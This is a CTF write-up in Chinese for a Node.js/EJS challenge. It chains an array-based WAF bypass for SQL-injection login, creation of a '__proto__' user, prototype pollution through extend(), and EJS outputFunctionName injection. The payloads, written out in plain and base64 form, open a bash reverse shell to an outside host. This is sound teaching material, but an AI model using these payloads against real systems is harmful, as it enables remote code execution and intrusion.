打开题目发现有登录框,那么我们先分析下如何登录
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
接收POST传参用户和密码,但是会经过safeQuery()函数处理,如果result[0]不为空则登陆成功返回token
跟进到safeQuery()函数
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
定义了waf的黑名单为\^)("'
符号,用foreach遍历黑名单去进行匹配,如果匹配到则替换成*
,注意这里是弱等于。然后将*
添加到对应被替换的位置,然后str用加号进行拼接并返回。username和password参数都需要验证,限制截取长度为20,然后进行sql语句查询返回结果
要想得到token就必须登陆成功,我们注意到遍历黑名单进行匹配是弱等于,那么我们可以用数组绕过,但是后面调用substr会报错。所以我们就要利用js的特性,当数组相加时会转换成字符串
这样也就能解释sql注入的时候是字符串
我们只需要手动添加一个在黑名单的字符(位置在哪都行),payload如下
username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=(&password=123456
至于为什么要这么长,我们可以本地测试下
let safeQuery = async (username, password) => {
const waf = (str) => {
blacklist = ['\\', '\^', ')', '(', '\"', '\''];
blacklist.forEach(element => {
if (str == element) {
str = "*";
}
});
return str;
}
const safeStr = (str) => {
for (let i = 0; i < str.length; i++) {
if (waf(str[i]) == "*") {
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
let testUsername = ["admin'#","("];
let testPassword = '123456';
testUsername = safeStr(testUsername);
testPassword = safeStr(testPassword);
console.log(testUsername);
console.log(testPassword);
}
// 调用safeQuery函数进行测试
safeQuery();
如果不够长会发现单引号变成了星号
原因在于遍历完数组后又依次遍历每个字符,导致单引号被替换成星号
所以只要我们的数组足够长就行了
抓包发送得到token
然后我们再观察哪里可以进行原型链污染
看向/adminDIV
路由
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
存在extend函数造成原型链污染,用json格式的addDIV去污染board
本题是ejs模板注入,而addDIV是这样定义的
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
也就是说我们的username要为为__proto__
,然后key又是由data决定,也就是
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1\"');var __tmp2"}
但是我们并没有__proto__
的token值,所以我们看向/addAdmin
路由
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
接收参数username和password进行数据库插入数据创建用户,前提是需要有正确的token。
我们利用刚刚得到admin的token去创建用户__proto__
然后在login
去登录,成功得到token值
由于反弹shell可能出现编码问题,我们base64加上url编码一下
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA%2BJjEi|base64 -d|bash');var __tmp2"}
成功污染
然后找到调用ejs模板的/admin
路由
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
找到调用处
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
board参数已经被我们污染了,也就是说只要username为__proto__
就行,往前看可以知道是由token决定
所以访问/admin
路由,修改为__proto__
的token发送即可
成功反弹
得到flag